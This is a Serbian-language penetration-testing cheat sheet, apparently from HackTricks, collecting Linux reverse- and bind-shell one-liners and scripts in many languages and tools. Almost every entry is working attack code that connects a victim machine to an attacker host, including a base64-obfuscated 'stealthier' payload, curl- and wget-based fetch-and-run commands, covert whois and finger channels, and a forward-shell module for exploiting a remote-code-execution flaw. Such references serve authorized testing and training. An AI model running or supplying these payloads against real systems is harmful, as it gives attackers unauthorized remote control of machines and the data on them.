Reverse Shells - Linux

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Ako imate pitanja o bilo kojoj od ovih ljuski, možete ih proveriti na https://explainshell.com/

Full TTY

Kada dobijete reverznu ljusku pročitajte ovu stranicu da biste dobili pun TTY.

Bash | sh

curl https://reverse-shell.sh/1.1.1.1:3000 | bash
bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1
bash -i >& /dev/udp/127.0.0.1/4242 0>&1 #UDP
0<&196;exec 196<>/dev/tcp/<ATTACKER-IP>/<PORT>; sh <&196 >&196 2>&196
exec 5<>/dev/tcp/<ATTACKER-IP>/<PORT>; while read line 0<&5; do $line 2>&5 >&5; done

#Short and bypass (credits to Dikline)
(sh)0>/dev/tcp/10.10.10.10/9091
#after getting the previous shell to get the output to execute
exec >&0

Не заборавите да проверите и друге шелове: sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh и bash.

Симбол безбедан шел

#If you need a more stable connection do:
bash -c 'bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1'

#Stealthier method
#B64 encode the shell like: echo "bash -c 'bash -i >& /dev/tcp/10.8.4.185/4444 0>&1'" | base64 -w0
echo bm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjQuMTg1LzQ0NDQgMD4mMScK | base64 -d | bash 2>/dev/null

Objašnjenje ljuske

bash -i: Ovaj deo komande pokreće interaktivnu (-i) Bash ljusku.
>&: Ovaj deo komande je skraćena notacija za preusmeravanje standardnog izlaza (stdout) i standardne greške (stderr) na istu destinaciju.
/dev/tcp/<ATTACKER-IP>/<PORT>: Ovo je poseban fajl koji predstavlja TCP vezu sa navedenom IP adresom i portom.

Preusmeravanjem izlaza i grešaka na ovaj fajl, komanda efikasno šalje izlaz interaktivne sesije ljuske na napadačevu mašinu.

0>&1: Ovaj deo komande preusmerava standardni ulaz (stdin) na istu destinaciju kao standardni izlaz (stdout).

Kreiraj u fajlu i izvrši

echo -e '#!/bin/bash\nbash -i >& /dev/tcp/1<ATTACKER-IP>/<PORT> 0>&1' > /tmp/sh.sh; bash /tmp/sh.sh;
wget http://<IP attacker>/shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.sh

Forward Shell

Kada se suočavate sa Remote Code Execution (RCE) ranjivošću unutar Linux-bazirane web aplikacije, postizanje reverse shell-a može biti otežano mrežnim odbranama poput iptables pravila ili složenih mehanizama filtriranja paketa. U takvim ograničenim okruženjima, alternativni pristup uključuje uspostavljanje PTY (Pseudo Terminal) shell-a za efikasniju interakciju sa kompromitovanim sistemom.

Preporučeni alat za ovu svrhu je toboggan, koji pojednostavljuje interakciju sa ciljnim okruženjem.

Da biste efikasno koristili toboggan, kreirajte Python modul prilagođen RCE kontekstu vašeg ciljnog sistema. Na primer, modul nazvan nix.py mogao bi biti strukturiran na sledeći način:

import jwt
import httpx

def execute(command: str, timeout: float = None) -> str:
# Generate JWT Token embedding the command, using space-to-${IFS} substitution for command execution
token = jwt.encode(
{"cmd": command.replace(" ", "${IFS}")}, "!rLsQaHs#*&L7%F24zEUnWZ8AeMu7^", algorithm="HS256"
)

response = httpx.get(
url="https://vulnerable.io:3200",
headers={"Authorization": f"Bearer {token}"},
timeout=timeout,
# ||BURP||
verify=False,
)

# Check if the request was successful
response.raise_for_status()

return response.text

А онда можете да покренете:

toboggan -m nix.py -i

Da biste direktno iskoristili interaktivnu ljusku. Možete dodati -b za Burpsuite integraciju i ukloniti -i za osnovniji rce omotač.

Druga mogućnost je korišćenje IppSec forward shell implementacije https://github.com/IppSec/forward-shell.

Samo treba da modifikujete:

URL ranjivog hosta
Prefiks i sufiks vašeg payload-a (ako ih ima)
Način na koji se payload šalje (zaglavlja? podaci? dodatne informacije?)

Zatim, možete jednostavno slati komande ili čak koristiti upgrade komandu da dobijete pun PTY (napomena: cevi se čitaju i pišu sa približno 1.3s kašnjenjem).

Netcat

nc -e /bin/sh <ATTACKER-IP> <PORT>
nc <ATTACKER-IP> <PORT> | /bin/sh #Blind
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <ATTACKER-IP> <PORT> >/tmp/f
nc <ATTACKER-IP> <PORT1>| /bin/bash | nc <ATTACKER-IP> <PORT2>
rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0</tmp/bkpipe | nc <ATTACKER-IP> <PORT> 1>/tmp/bkpipe

gsocket

Proverite to na https://www.gsocket.io/deploy/

bash -c "$(curl -fsSL gsocket.io/x)"

Telnet

telnet <ATTACKER-IP> <PORT> | /bin/sh #Blind
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet <ATTACKER-IP> <PORT> >/tmp/f
telnet <ATTACKER-IP> <PORT> | /bin/bash | telnet <ATTACKER-IP> <PORT>
rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0</tmp/bkpipe | telnet <ATTACKER-IP> <PORT> 1>/tmp/bkpipe

Whois

Napadač

while true; do nc -l <port>; done

Da biste poslali komandu, napišite je, pritisnite enter i pritisnite CTRL+D (da zaustavite STDIN)

Žrtva

export X=Connected; while true; do X=`eval $(whois -h <IP> -p <Port> "Output: $X")`; sleep 1; done

Питон

#Linux
export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
#IPv6
python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4343,0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");'

Perl

perl -e 'use Socket;$i="<ATTACKER-IP>";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

Руби

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

PHP

// Using 'exec' is the most common method, but assumes that the file descriptor will be 3.
// Using this method may lead to instances where the connection reaches out to the listener and then closes.
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

// Using 'proc_open' makes no assumptions about what the file descriptor will be.
// See https://security.stackexchange.com/a/198944 for more information
<?php $sock=fsockopen("10.0.0.1",1234);$proc=proc_open("/bin/sh -i",array(0=>$sock, 1=>$sock, 2=>$sock), $pipes); ?>

<?php exec("/bin/bash -c 'bash -i >/dev/tcp/10.10.14.8/4444 0>&1'"); ?>

Java

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ATTACKING-IP/80;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()

Ncat

victim> ncat <ip> <port,eg.443> --ssl  -c  "bash -i 2>&1"
attacker> ncat -l <port,eg.443> --ssl

Golang

echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.0.134:8080");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go

Lua

#Linux
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"
#Windows & Linux
lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()'

NodeJS

(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(8080, "10.17.26.64", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application form crashing
})();


or

require('child_process').exec('nc -e /bin/sh [IPADDR] [PORT]')
require('child_process').exec("bash -c 'bash -i >& /dev/tcp/10.10.14.2/6767 0>&1'")

or

-var x = global.process.mainModule.require
-x('child_process').exec('nc [IPADDR] [PORT] -e /bin/bash')

or

// If you get to the constructor of a function you can define and execute another function inside a string
"".sub.constructor("console.log(global.process.mainModule.constructor._load(\"child_process\").execSync(\"id\").toString())")()
"".__proto__.constructor.constructor("console.log(global.process.mainModule.constructor._load(\"child_process\").execSync(\"id\").toString())")()


or

// Abuse this syntax to get a reverse shell
var fs = this.process.binding('fs');
var fs = process.binding('fs');

or

https://gitlab.com/0x4ndr3/blog/blob/master/JSgen/JSgen.py

OpenSSL

Napadač (Kali)

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Generate certificate
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port> #Here you will be able to introduce the commands
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port2> #Here yo will be able to get the response

Жртва

#Linux
openssl s_client -quiet -connect <ATTACKER_IP>:<PORT1>|/bin/bash|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>

#Windows
openssl.exe s_client -quiet -connect <ATTACKER_IP>:<PORT1>|cmd.exe|openssl s_client -quiet -connect <ATTACKER_IP>:<PORT2>

Socat

https://github.com/andrew-d/static-binaries

Bind shell

victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
attacker> socat FILE:`tty`,raw,echo=0 TCP:<victim_ip>:1337

Obrnuta ljuska

attacker> socat TCP-LISTEN:1337,reuseaddr FILE:`tty`,raw,echo=0
victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane

Awk

awk 'BEGIN {s = "/inet/tcp/0/<IP>/<PORT>"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null

Finger

Napadač

while true; do nc -l 79; done

Da biste poslali komandu, napišite je, pritisnite enter i pritisnite CTRL+D (da zaustavite STDIN)

Žrtva

export X=Connected; while true; do X=`eval $(finger "$X"@<IP> 2> /dev/null')`; sleep 1; done

export X=Connected; while true; do X=`eval $(finger "$X"@<IP> 2> /dev/null | grep '!'|sed 's/^!//')`; sleep 1; done

Gawk

#!/usr/bin/gawk -f

BEGIN {
Port    =       8080
Prompt  =       "bkd> "

Service = "/inet/tcp/" Port "/0/0"
while (1) {
do {
printf Prompt |& Service
Service |& getline cmd
if (cmd) {
while ((cmd |& getline) > 0)
print $0 |& Service
close(cmd)
}
} while (cmd != "exit")
close(Service)
}
}

Xterm

Ovo će pokušati da se poveže sa vašim sistemom na portu 6001:

xterm -display 10.0.0.1:1

Da biste uhvatili reverse shell, možete koristiti (koji će slušati na portu 6001):

# Authorize host
xhost +targetip
# Listen
Xnest :1

Groovy

by frohoff NAPOMENA: Java reverse shell takođe radi za Groovy

String host="localhost";
int port=8044;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

References

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

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